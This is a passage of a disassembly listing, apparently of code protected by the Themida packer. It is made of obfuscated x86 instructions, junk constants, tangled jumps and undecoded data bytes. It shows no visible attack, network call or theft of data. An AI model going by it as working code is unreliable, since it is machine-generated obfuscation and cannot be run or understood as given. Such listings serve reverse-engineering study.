		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D552:				; CODE XREF: Themida_:00604D2Dj
		add	esp, 4
		jmp	loc_608CAC
; ---------------------------------------------------------------------------
		dw 0EC00h
		dd 0E6885259h, 0F488D6F6h, 7DEC805Ah, 34FFE300h, 65E95824h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D573:				; CODE XREF: Themida_:00604030j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_60B33C
; ---------------------------------------------------------------------------


loc_60D590:				; CODE XREF: Themida_:00607927j
		sub	ebx, 1AB3B7ADh
		add	edx, ebx
		pop	ebx
		jmp	loc_6037F0
; ---------------------------------------------------------------------------


loc_60D59E:				; CODE XREF: Themida_:0060EB2Bj
		add	edx, 4D3C6F9Bh
		jmp	loc_60A502
; ---------------------------------------------------------------------------


loc_60D5A9:				; CODE XREF: Themida_:00607FF4j
		mov	cl, ah
		push	ax
		jmp	loc_60AA68
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 601AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D5BA:				; CODE XREF: Themida_:00606991j
		push	esi
		mov	esi, 7607C8F3h
		xor	edx, esi
		pop	esi
		push	edx
		sub	dword ptr [esp], 3FF86F2Bh
		jmp	loc_608F77
; ---------------------------------------------------------------------------


loc_60D5D0:				; CODE XREF: Themida_:0060C32Dj
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_60AE07
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 835C243Ch, 19E904C4h
		dd 50FFFFB6h, 1C2D08B8h, 8D5AE952h, 8C68FFFFh, 89000033h
		dd 6AE92434h, 31FFFFFAh, 454D5AD5h, 0E953DDF7h,	0FFFF6FBAh
; ---------------------------------------------------------------------------


loc_60D620:				; CODE XREF: Themida_:0060446Ej
		sub	ecx, 6AFB2AB6h
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_604E0A
; ---------------------------------------------------------------------------
		dd 0A88D988h, 2434FF59h, 947BE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D64E:				; CODE XREF: Themida_:0060ABAEj
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_60EB93
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 240C895Ch, 2129BA52h
		dd 0C2813400h, 1DE232B2h, 0BE5BE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D686:				; CODE XREF: Themida_:00606EE9j
		push	esi
		mov	esi, 60B13F01h
		sub	esi, 559453FEh
		and	esi, 3D314FB0h
		push	edx
		mov	edx, 9104B04h
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_605474
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFF5D34h, 3004C483h, 2434FFE8h, 4C48359h
		dd 0B60FC330h, 87048DC0h, 8904EC83h, 0FF542404h, 6FE92434h
		dd 0B1FFFF6Eh, 91F1803Ah, 2859CB28h, 0ABC380C3h, 0FF9B4AE9h
		dd 0FDC581FFh, 58001321h, 8FE8E951h, 0E95CFFFFh, 0FFFFEA2Ch
		dd 24048B66h, 4EC81h, 0C890000h, 81595424h, 4C1h, 4EC8100h
		dd 0E9000000h, 0FFFFC266h
; ---------------------------------------------------------------------------


loc_60D71C:				; CODE XREF: Themida_:00603C4Dj
		pop	edx
		xor	edi, 33336412h
		shl	edi, 4
		jmp	loc_607E47
; ---------------------------------------------------------------------------
		db 89h
		dd 48B59CEh, 0F21DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D736:				; CODE XREF: Themida_:0060ED8Fj
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		push	7188h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_6099B4
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFFEFDE9h, 0FFEB83FFh, 0F381EBD1h, 5CF322D3h, 742868h
		dd 24148900h, 0F776D3BAh, 7ECAE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D77E:				; CODE XREF: Themida_:0060A923j
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_60E0C7
; ---------------------------------------------------------------------------


loc_60D788:				; CODE XREF: Themida_:0060EA89j
		push	ebx
		mov	ebx, 1CFB4E55h
		not	ebx
		add	ebx, 1E0B50AFh
		mov	eax, ebx
		pop	ebx
		jmp	loc_60B2CB
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 515F6C1Dh, 0BEDE9h, 4C48300h, 69E6E981h, 0D1012A0Dh
		dd 69E6C181h, 0B3E92A0Dh, 81FFFFD0h, 4C4h, 242C3300h, 33242C31h
		dd 248B242Ch, 24043024h, 5B03E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D7DA:				; CODE XREF: Themida_:006094A7j
		push	355Ch
		jmp	loc_606120
; ---------------------------------------------------------------------------
		dd 0E9C3015Dh, 0FFFFEC94h
; ---------------------------------------------------------------------------


loc_60D7EC:				; CODE XREF: Themida_:0060CAB4j
		neg	edx
		and	edx, 487A4E03h
		jmp	loc_60EFED
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 3Ah
		dd 31E91EBBh, 242C8BE8h, 4C481h, 0C1010000h, 0E9C83158h
		dd 2D1h, 7B31EF81h, 0C7814E23h,	34BA1FBDh, 0FF8CECE9h
		dd 0C3815EFFh, 0FD2B192Fh, 1C8BD901h, 0D210E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D836:				; CODE XREF: Themida_:0060E24Ej
		pop	esi
		jmp	loc_603774
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	1A77E9h, 0E9F76600h, 4C4A6866h
		dd 24148966h, 0E99C5066h, 0FFFF5A81h, 6858C101h, 615Dh
		dd 0FF240C89h, 0FF042474h, 83592434h, 48F04C4h,	24248B24h
		dd 0FF2434FFh, 53582434h, 160E9h, 24148900h, 0C2815A54h
		dd 4, 0FF7FDDE9h, 24248BFFh, 0FF69E6E9h, 0E3815DFFh, 44452725h
		dd 2C44F381h, 0DA897976h, 0F43BB5Bh, 0D3293D36h, 8FC5815Ah
		dd 1124E08h, 8FED81DDh,	8B124E08h, 0C483241Ch, 242C8704h
		dd 0FFBF5EE9h, 12B1FFh,	2434FFC1h, 0FFEBE7E9h, 0C92DFFh
		dd 0C8292968h, 6800C905h, 89515929h, 4C181E1h, 83000000h
		dd 5BE904E9h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60D8FB:				; CODE XREF: Themida_:0060C22Bj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		idiv	cx
		jmp	loc_60E016
; ---------------------------------------------------------------------------
		db 80h
		dd 0F780DECFh, 0E9F90826h, 5EBh, 86E9DBF7h, 35FFFFAEh
		dd 679B49DEh, 0B6FC281h, 0C2010E2Fh, 0B6FEA81h,	55580E2Fh
		dd 2B850h, 0C5890000h, 0FF6F21E9h, 242C89FFh, 0D14ABEBDh
		dd 4616BE35h, 0EE2917E1h, 0E9F7315Dh, 0FFFFCF10h
; ---------------------------------------------------------------------------


loc_60D95C:				; CODE XREF: Themida_:0060D2B6j
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3EA01006h
		not	edx
		and	edx, 27BA39E9h
		push	esi
		mov	esi, 69D7418Bh
		xor	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	edx, 68CD6863h
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_605A66
; ---------------------------------------------------------------------------


loc_60D9A0:				; CODE XREF: Themida_:0060940Cj
		push	esp
		pop	eax
		jmp	loc_60886A
; ---------------------------------------------------------------------------


loc_60D9A7:				; CODE XREF: Themida_:0060E9CEj
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	2906h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_608A3B
; ---------------------------------------------------------------------------


loc_60D9BD:				; CODE XREF: Themida_:0060EF03j
		xchg	edx, [esp]
		jmp	loc_607132
; ---------------------------------------------------------------------------


loc_60D9C5:				; CODE XREF: Themida_:0060F233j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, ebx
		push	dword ptr [esp]
		jmp	loc_60EE21
; ---------------------------------------------------------------------------


loc_60D9D8:				; CODE XREF: Themida_:006081C4j
		push	esi
		push	ebp
		push	ecx
		mov	ecx, 13D22DF6h
		jmp	loc_604773
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 0DF56824h, 3C890000h
		dd 515F5424h, 8642AB9h,	0CC4DE95Ah, 0C181FFFFh,	1A361477h
		dd 0DF59E958h, 5158FFFFh, 0DC9E9h, 7E4C000h, 1A9FE9h
		db 0
; ---------------------------------------------------------------------------


loc_60DA29:				; CODE XREF: Themida_:0060E9EFj
		add	bh, 37h
		jmp	loc_60BADB
; ---------------------------------------------------------------------------
		db 0E9h, 0A7h, 58h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DA36:				; CODE XREF: Themida_:00603FB8j
		pop	dword ptr [esp]
		jmp	loc_60DD67
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 7D296853h, 4890000h, 0F66CE924h, 3C89FFFFh
		dd 76C3E924h, 2068FFFFh, 89000074h, 8B54241Ch, 0C483241Ch
		dd 63E95204h, 89FFFF7Ch, 0E0892404h, 0C7AE9h, 8AEE8100h
		dd 11AE553h, 8AC681C6h,	811AE553h, 0E26E08EEh, 24048B32h
		dd 4C481h, 0BB530000h, 50C73DDAh, 8904EC83h, 20BA2414h
		dd 9726460h, 0D3F75AD3h, 3CE1EB81h, 0D3F77A3Ch,	2F0FCB81h
		dd 0EB810437h, 0ED37BFDDh, 335BDE01h, 34312434h, 24343324h
		dd 6624248Bh, 2404A30Fh, 5803E99Ch, 3431FFFFh, 24343324h
		dd 0FF8B5AE9h, 0ADE959FFh
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DAEB:				; CODE XREF: Themida_:0060477Fj
		sub	ecx, 2BD168E2h
		add	ecx, 23F4045h
		mov	ebp, ecx
		jmp	loc_6053E2
; ---------------------------------------------------------------------------


loc_60DAFE:				; CODE XREF: Themida_:0060A867j
		jmp	loc_6056F6
; ---------------------------------------------------------------------------


loc_60DB03:				; CODE XREF: Themida_:0060C934j
		sub	ebp, 617C259Ch
		and	ecx, ebp
		mov	ebp, [esp]
		push	4F50h
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 30A16B8Bh
		jmp	loc_608278
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 0FFE54AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60DB2D:				; CODE XREF: Themida_:0060B011j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_60EEEB
; ---------------------------------------------------------------------------
		db 88h,	0D5h, 5Ah
		dd 0FFA670E9h, 0EBFABFFFh, 0DAE9BA2Bh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DB4F:				; CODE XREF: Themida_:00604B40j
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		dd 89243489h, 31B951E6h, 8162C365h, 0F469B1F1h,	25E9495Ah
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DB6F:				; CODE XREF: Themida_:00604861j
		sub	ebx, esi
		pop	esi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_60B232
; ---------------------------------------------------------------------------
		db 80h
		dd 28588DC2h, 0D617E9D3h, 0BD55FFFFh, 13B0321Fh, 6E9EB01h
		dd 88FFFFFDh, 0AEB0E9E7h, 48FFFFFh, 0F8E95C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DBA7:				; CODE XREF: Themida_:00608854j
		shl	esi, 5
		sub	esi, 0DD83B13Fh
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		jmp	loc_60B23D
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 74FF535Eh, 1C8B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 0B60F6624h, 78CF68C8h, 34890000h, 525E5424h,	17966850h
		dd 2D586A49h, 6A491792h, 0FFE1A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60DBF1:				; CODE XREF: Themida_:0060A9E5j
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6DA34629h
		jmp	loc_604674
; ---------------------------------------------------------------------------


loc_60DC03:				; CODE XREF: Themida_:00605FEEj
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		jmp	loc_60E369
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 3Fh
		dd 81573B20h, 1363CBF6h, 0C6814E29h, 0ECA5D715h, 0FFE36BE9h
		dd 4F781FFh, 13F841Eh, 5BE2E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DC3E:				; CODE XREF: Themida_:0060C96Dj
		shl	ebx, 3
		push	eax
		mov	eax, 625E2205h
		jmp	loc_60F313
; ---------------------------------------------------------------------------
		dd 8B241433h, 0F7662424h, 0EE6866E1h, 8E41E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DC5E:				; CODE XREF: Themida_:0060797Cj
		add	edi, 4
		jmp	loc_604CEB
; ---------------------------------------------------------------------------


loc_60DC69:				; CODE XREF: Themida_:0060DE06j
		sub	dword ptr [esp], 1CA0D34h
		pop	edx
		add	edx, 1CA0D34h
		pop	ebx
		add	edx, 682D6026h
		add	edx, edi
		jmp	loc_60B9D8
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 25h
		dd 81FFFFC9h, 14140DC2h, 9C28126h, 0E9549174h, 0FFFF5641h
		dd 50241C8Bh, 405E089h,	0E9000000h, 0FFFFA997h
; ---------------------------------------------------------------------------


loc_60DCAC:				; CODE XREF: Themida_:006074E8j
		pop	edx
		xor	edx, esi
		pop	esi
		and	eax, edx
		jmp	loc_60F51E
; ---------------------------------------------------------------------------


loc_60DCB7:				; CODE XREF: Themida_:0060BB4Bj
		xor	ebx, 13E94FFCh
		push	eax
		mov	eax, ebx
		mov	edx, eax
		pop	eax
		pop	ebx
		add	ecx, edx
		pop	edx
		pop	ebx
		sub	ecx, 59094E9h
		xor	edx, ecx
		pop	ecx
		sub	edx, 6AE208B5h
		and	eax, edx
		jmp	loc_604FF7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 2AE9240Ch, 5FFFFFABh, 0E924048Fh, 0FFFFFBA5h, 0E919E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DCF6:				; CODE XREF: Themida_:0060B3F3j
		push	ebx
		mov	ebx, 59D90704h
		jmp	loc_60EDAE
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 195368h, 241C8900h, 8015B551h, 0EDD087E5h, 0E914ED80h
		dd 0FFFFB876h
; ---------------------------------------------------------------------------


loc_60DD1C:				; CODE XREF: Themida_:0060B0A5j
		pop	edx
		mov	cl, bh
		mov	ebx, [esp]
		jmp	loc_604593
; ---------------------------------------------------------------------------
		db 28h
		dd 595504E8h, 48296852h, 0E4E90000h, 0F7FFFFE8h, 79EF81D7h
		dd 8103CA20h, 0FB59DCCFh, 0A0EF8170h, 8379C668h, 0E78101EFh
		dd 3747696Ah, 0BE55F781h, 0FD897DF4h, 0D1B2D5Fh, 8AE93AC6h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DD67:				; CODE XREF: Themida_:0060DA39j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		db 1, 0C6h, 81h
		dd 0B63FD3EEh, 3FC68162h, 0E93AF579h, 0FFFFA5B4h
; ---------------------------------------------------------------------------


loc_60DD88:				; CODE XREF: Themida_:0060BEC1j
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_603927
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 248B2404h, 48B6624h,	0E6895624h, 5E41BD55h, 0DDF759D7h
		dd 0E906EDC1h, 0FFFF7477h, 0C1FED1F6h, 0E9C0D1F6h, 80C9FE06h
		dd 0CF0092C1h, 8AEF8059h, 0FFCBEEE9h, 0A1E958FFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DDD3:				; CODE XREF: Themida_:006033E3j
		sub	eax, 32570159h
		sub	eax, 537443FDh
		jmp	loc_6050CF
; ---------------------------------------------------------------------------


loc_60DDE2:				; CODE XREF: Themida_:00609266j
		push	0
		jmp	loc_6048BF
; ---------------------------------------------------------------------------


loc_60DDEC:				; CODE XREF: Themida_:0060F35Ej
		shr	ecx, 7
		push	7B32h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	ebx
		jmp	loc_60DC69
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF5h, 4C481h, 0E5C10000h, 7E5C103h, 5045D5F7h
		dd 706B82B8h, 9A40E960h, 0C181FFFFh, 4,	8B240C87h, 82E92424h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DE3B:				; CODE XREF: Themida_:00604D85j
		sub	eax, 0D8C8E857h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_60E84B
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0C0D3F651h, 0C3FE04EBh, 0FFF1DCE9h, 81565BFFh, 6A302404h
		dd 525B07A2h, 0A26A30BAh, 5AD32907h, 8124348Bh,	4C4h, 5BDD0100h
		dd 0E9242C87h, 0FFFF6C66h, 7BE9F5B1h, 5CFFFFAAh, 240C8B66h
		dd 81E18951h, 4C1h, 4BB5300h, 29000000h, 0C335BD9h, 240C3124h
		dd 0FF6666E9h, 0C4835AFFh, 24048F04h, 6824248Bh, 11EFh
		dd 0FF8F10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60DEC5:				; CODE XREF: Themida_:0060BA32j
		pop	ebp
		pop	edi
		sub	edx, 4DE317DEh
		mov	esi, edx
		pop	edx
		jmp	loc_60C098
; ---------------------------------------------------------------------------
		db 0ADh, 5, 0
		dd 550C0949h, 6B2F27BDh, 5DE82960h, 0AF07F905h,	4E682D50h
		dd 0D80130FEh, 0FE4E6805h, 7F92D30h, 270550AFh,	50606B2Fh
		dd 47E9E089h, 8BFFFF6Bh, 0C481241Ch, 4,	0E9D6F180h, 0FFFF8BC8h
		dd 89241489h, 8A5E9E2h,	2BB0000h, 1000000h, 2434FFD8h
		dd 0BCE9515Bh, 59FFFFEDh, 0FF941DE9h, 2434FFFFh, 0FF64A3E9h
		dd 9CF281FFh, 12E53A4h,	8B042454h, 0C4812414h, 4, 39242C81h
		dd 0E9254167h, 0FFFF537Dh, 8B243433h, 4312424h,	536FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DF6E:				; CODE XREF: Themida_:006045D5j
		mov	ebp, 32400E6Ah
		and	ebp, 31203D17h
		shr	ebp, 7
		shl	ebp, 2
		shr	ebp, 1
		xor	ebp, 2DC04AC6h
		sub	ebp, 0C4F806E1h
		xor	[esp+4], ebp
		pop	ebp
		pop	ecx
		xor	ecx, 68084415h
		jmp	loc_60E06F
; ---------------------------------------------------------------------------
		dw 489h
		dd 7515E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60DFA6:				; CODE XREF: Themida_:00608ECCj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_60F2DB
; ---------------------------------------------------------------------------


loc_60DFC0:				; CODE XREF: Themida_:0060E57Bj
		add	ebp, edx
		pop	edx
		push	5FF1h
		jmp	loc_6075B9
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 685C243Ch, 51CBh,	89240C89h, 4BA52E1h, 1000000h
		dd 68535AD1h, 4, 83241C8Bh, 0D90104C4h,	0FF75AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60DFFD:				; CODE XREF: Themida_:00609929j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	7B52h
		mov	[esp], esi
		jmp	loc_60512C
; ---------------------------------------------------------------------------


loc_60E016:				; CODE XREF: Themida_:0060D90Aj
		push	small 3D35h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
aUhjg		db 'Uhg',0
		align 4
		dd 24048F54h, 4240483h,	81242C8Bh, 4C4h, 43216800h, 61E90000h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E047:				; CODE XREF: Themida_:0060914Fj
		push	ecx
		mov	ecx, 395426CEh
		sub	ecx, 6E383125h
		add	ecx, 97ABE19Ch
		jmp	loc_60D262
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404B3h, 0FF5274E9h, 14E952FFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E06F:				; CODE XREF: Themida_:0060DF99j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_607820
; ---------------------------------------------------------------------------
		db 5Eh,	87h, 14h
		dd 24248B24h, 24048B66h, 21BD6857h, 8F540000h, 0F6E92404h
		dd 89FFFFA5h, 0CFBD242Ch, 4D4BF353h, 12F6BA52h,	0D52134DEh
		dd 0FFE916E9h, 0E28952FFh, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 1EE9241Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60E0C7:				; CODE XREF: Themida_:0060D783j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	al, bl
		push	4D32h
		mov	[esp], ebx
		jmp	loc_604707
; ---------------------------------------------------------------------------
		dw 0C05Bh
		dd 71E907E9h, 81FFFFA2h, 49F568F1h, 30BB53E3h, 1000000h
		dd 656E68D3h, 14890000h, 0BA24h, 0DA010000h, 148B0A01h
		dd 0C58BE924h, 0C483FFFFh, 51BFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E11E:				; CODE XREF: Themida_:00608298j
		mov	[esp], ecx
		mov	ecx, 35BF7C66h
		jmp	loc_60780C
; ---------------------------------------------------------------------------
		db 80h
		dd 0D2F65ECAh, 0E9AFC280h, 0FFFF62A2h
; ---------------------------------------------------------------------------


loc_60E138:				; CODE XREF: Themida_:00607934j
		sub	eax, 0B321C93h
		add	eax, edi
		add	eax, 0B321C93h
		jmp	loc_60BA0D
; ---------------------------------------------------------------------------


loc_60E149:				; CODE XREF: Themida_:0060E8A3j
		push	443h
		mov	[esp], edi
		mov	edi, 448868F4h
		sub	edi, 1
		sub	edi, 448868EFh
		jmp	loc_60A9DF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0E95AD701h, 0FFFF90C6h, 4C481h, 0E9530000h
		dd 0FFFFE789h, 24148966h, 0E99C5066h, 0FFFF514Dh
; ---------------------------------------------------------------------------


loc_60E190:				; CODE XREF: Themida_:0060484Cj
		pop	ebx
		jmp	loc_608A19
; ---------------------------------------------------------------------------
aYyh8z		db 'YYh8Z',0
		dd 24048900h, 6824148Bh, 5BB4h,	54240489h, 0C81CE958h
		dd 8F64FFFFh, 5123E902h, 5456FFFFh, 4C6815Eh, 81000000h
		dd 4C6h, 0C596E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E1CE:				; CODE XREF: Themida_:0060D317j
		add	ebx, 4
		jmp	loc_60EB07
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 0E924348Bh, 0FFFF94FEh, 71AE950h, 0E2890000h, 4C281h
		dd 0EA810000h, 4, 0E9241487h, 0FFFF6D0Ah, 9D1C77FFh, 19665866h
		dd 0E99C2404h, 0FFFF50D1h, 8904EC83h, 0EC83241Ch, 24048904h
		dd 405E089h, 83000000h,	48704E8h, 3C895C24h, 7B6BBF24h
		dd 0C7810E21h, 5F15F5EAh, 24348157h, 70ED57D3h,	0FBBE565Bh
		dd 4665FA04h, 5EE94646h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E24B:				; CODE XREF: Themida_:00607DC1j
		push	eax
		push	esi
		pop	eax
		jmp	loc_60D836
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2434h, 4ECh, 0C725E900h,	8959FFFFh, 2434FFF3h, 4C4815Eh
		dd 81000000h, 444528EAh, 81DA013Eh, 444528C2h, 0C17FE93Eh
		dd 0B60FFFFFh, 8734FFC0h, 2243481h, 58044F21h, 4CDFB951h
		dd 6CE927B9h, 5CFFFF79h, 0FFC749E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60E2A1:				; CODE XREF: Themida_:006053D7j
		and	ecx, ebp
		pop	ebp
		jmp	loc_60CD7E
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 502BE99Ch, 0F468FFFFh, 89000067h, 3CE92434h,	66FFFF95h
		dd 8124048Bh, 4ECh, 0F5B7E900h,	0D6F7FFFFh, 0B8CFEE81h
		dd 0F22970BBh, 0E9CA015Eh, 0FFFFEB26h, 8B241C33h, 20E92424h
		dd 8B00000Dh, 0EC832404h, 240C8904h, 0FFE7C0E9h, 3C8759FFh
		dd 0C54BE924h, 3166FFFFh, 0E83166C5h, 66C53166h, 9566D0F7h
		dd 0FF665566h, 0E9022474h, 5D3h, 5905D801h, 5352C7Fh, 13945EF8h
		dd 38387705h, 6C4B6860h, 2C890000h, 35C76824h, 2C8B0D48h
		dd 0EBE6824h, 34890000h, 0E9E68924h, 0FFFF9BBAh, 405h
		dd 4E88300h, 0E9240487h, 0FFFFE094h, 6824248Bh,	7911h
		dd 0FF6D97E9h
byte_60E368	db 0FFh			; DATA XREF: Themida_:00605499o
; ---------------------------------------------------------------------------


loc_60E369:				; CODE XREF: Themida_:0060DC14j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 7C843EA2h
		push	edx
		jmp	loc_60576F
; ---------------------------------------------------------------------------


loc_60E379:				; CODE XREF: Themida_:00607995j
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 419D0EF6h
		shl	ecx, 2
		not	ecx
		jmp	loc_60EBAD
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 768F3932h, 8103E9C1h, 473D70F1h, 0A6CE916h, 0C9810000h
		dd 2F1659CDh, 0C181D1F7h, 7F378004h, 0FFC407E9h, 0EDEA80FFh
		dd 0E951CAFEh, 465h
; ---------------------------------------------------------------------------


loc_60E3C8:				; CODE XREF: Themida_:0060E570j
		add	esp, 4
		add	edx, edi
		push	ecx
		mov	ecx, 0
		sub	ecx, 28623B56h
		add	ecx, edx
		add	ecx, 28623B56h
		mov	[ecx], eax
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		xor	edx, edx
		jmp	loc_60BB08
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704C683h, 505C2434h, 8153E089h, 4ECh, 24148900h
		dd 0FFE702E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60E41D:				; CODE XREF: Themida_:00605EEFj
		push	ecx
		mov	cl, 16h
		neg	cl
		jmp	loc_609793
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0FCFDE9CAh, 1B0FFFFh, 5866C100h, 475F180h, 68C80033h
		dd 4017h, 0B6241489h, 28A70433h, 0B0CE9F0h, 74FF0000h
		dd 34FF0424h, 74EDE924h, 0F829FFFFh, 0E9C3815Fh, 12C2E66h
		dd 0EC8155C3h, 4, 52240C89h, 593D50BAh,	0CD7AB928h, 0D1011E40h
		dd 5C1FBD5Ah, 0C581E594h, 19996DADh, 6631C581h,	0CD013DC7h
		dd 0FF67EFE9h, 0CDCA80FFh, 0D7885366h, 83E9D7F6h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E4A3:				; CODE XREF: Themida_:0060D126j
		mov	edi, [esp]
		add	esp, 4
		add	ecx, edi
		sub	ecx, 0A5C0F38h
		push	edx
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		push	eax
		jmp	loc_6085AD
; ---------------------------------------------------------------------------


loc_60E4C1:				; CODE XREF: Themida_:00609B8Cj
		push	ebx
		mov	ebx, 5B771C63h
		jmp	loc_60F41A
; ---------------------------------------------------------------------------


loc_60E4CC:				; CODE XREF: Themida_:006032F9j
		add	ebp, 9FE5BC3h
		add	ebp, edx
		jmp	loc_60C3F9
; ---------------------------------------------------------------------------


loc_60E4D9:				; CODE XREF: Themida_:0060A313j
		push	eax
		pushf
